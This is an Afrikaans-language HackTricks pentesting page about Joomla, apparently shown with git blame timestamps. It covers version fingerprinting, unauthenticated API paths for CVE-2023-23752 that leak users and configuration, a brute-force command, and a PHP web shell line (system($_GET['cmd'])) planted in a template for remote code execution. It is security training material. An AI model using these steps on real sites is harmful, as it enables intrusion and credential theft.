hacktricks/network-services-pentesting/pentesting-web/joomla.md

137 lines
6.3 KiB
Markdown
Raw Normal View History

2022-10-02 23:08:05 +00:00
# Joomla
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>Ondersteun HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
### Joomla Statistieke
2022-10-02 23:08:05 +00:00
Joomla verskaf 'n paar anonieme [gebruik statistieke](https://developer.joomla.org/about/stats.html) soos die verdeling van Joomla, PHP en databasis weergawes en bediener bedryfstelsels wat op Joomla installasies gebruik word. Hierdie data kan deur middel van hul openbare [API](https://developer.joomla.org/about/stats/api.html) opgevraag word.
2022-10-02 23:08:05 +00:00
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
2024-02-11 02:07:06 +00:00
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
2022-10-02 23:08:05 +00:00
}
```
## Enumeration
2022-10-02 23:08:05 +00:00
### Discovery/Footprinting
2022-10-02 23:08:05 +00:00
2024-02-11 02:07:06 +00:00
* Kontroleer die **meta**
2022-10-02 23:08:05 +00:00
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
```
* robots.txt
2022-10-02 23:08:05 +00:00
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
```
* README.txt
2022-10-02 23:08:05 +00:00
```
1- What is this?
2024-02-11 02:07:06 +00:00
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
2022-10-02 23:08:05 +00:00
```
2024-02-11 02:07:06 +00:00
### Weergawe
2022-10-02 23:08:05 +00:00
2024-02-11 02:07:06 +00:00
* In **/administrator/manifests/files/joomla.xml** kan jy die weergawe sien.
* In **/language/en-GB/en-GB.xml** kan jy die weergawe van Joomla kry.
* In **plugins/system/cache/cache.xml** kan jy 'n benaderde weergawe sien.
### Outomaties
2022-10-02 23:08:05 +00:00
```bash
droopescan scan joomla --url http://joomla-site.local/
```
In[ **80,443 - Pentesting Web Metodologie is 'n afdeling oor CMS skanners**](./#cms-scanners) wat Joomla kan skandeer.
### API Ongeauthentiseerde Inligtingsontsluiting:
Weergawes Van 4.0.0 tot 4.2.7 is kwesbaar vir ongeauthentiseerde inligtingsontsluiting (CVE-2023-23752) wat kredensiale en ander inligting sal dump.
* Gebruikers: `http://<host>/api/v1/users?public=true`
* Konfigurasie Lêer: `http://<host>/api/index.php/v1/config/application?public=true`
**MSF Module**: `scanner/http/joomla_api_improper_access_checks` of ruby skrip: [51334](https://www.exploit-db.com/exploits/51334)
2022-10-02 23:08:05 +00:00
### Brute-Force
2022-04-28 16:01:33 +00:00
Jy kan hierdie [skrip](https://github.com/ajnik/joomla-bruteforce) gebruik om te probeer om die aanmelding te brute-force.
2022-10-02 23:08:05 +00:00
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
2024-02-11 02:07:06 +00:00
2022-10-02 23:08:05 +00:00
admin:admin
```
## RCE
2022-04-28 16:01:33 +00:00
As jy daarin slaag om **admin akrediteer** te verkry, kan jy **RCE binne dit** kry deur 'n snit van **PHP kode** by te voeg om **RCE** te verkry. Ons kan dit doen deur 'n **sjabloon** te **pas**.
2022-04-28 16:01:33 +00:00
1. **Klik** op **`Templates`** onderaan links onder `Configuration` om die sjabloonmenu op te roep.
2. **Klik** op 'n **sjabloon** naam. Kom ons kies **`protostar`** onder die `Template` kolomkop. Dit sal ons na die **`Templates: Customise`** bladsy bring.
3. Laastens kan jy op 'n bladsy klik om die **bladsybron** op te roep. Kom ons kies die **`error.php`** bladsy. Ons sal 'n **PHP een-liner byvoeg om kode-uitvoering te verkry** soos volg:
2024-02-11 02:07:06 +00:00
1. **`system($_GET['cmd']);`**
4. **Stoor & Sluit**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
## Van XSS na RCE
* [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla Exploit Script wat **XSS na RCE of ander kritieke kwesbaarhede verhoog**. Vir meer inligting, kyk na [**hierdie pos**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **ondersteuning vir Joomla weergawes 5.X.X, 4.X.X, en 3.X.X, en laat toe om:**
* _**Privilegie Escalatie:**_ Skep 'n gebruiker in Joomla.
* _**(RCE) Ingeboude Sjablone Wysig:**_ Wysig 'n Ingeboude Sjabloon in Joomla.
* _**(Aangepas) Aangepaste Exploits:**_ Aangepaste Exploits vir Derdeparty Joomla Plugins.
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}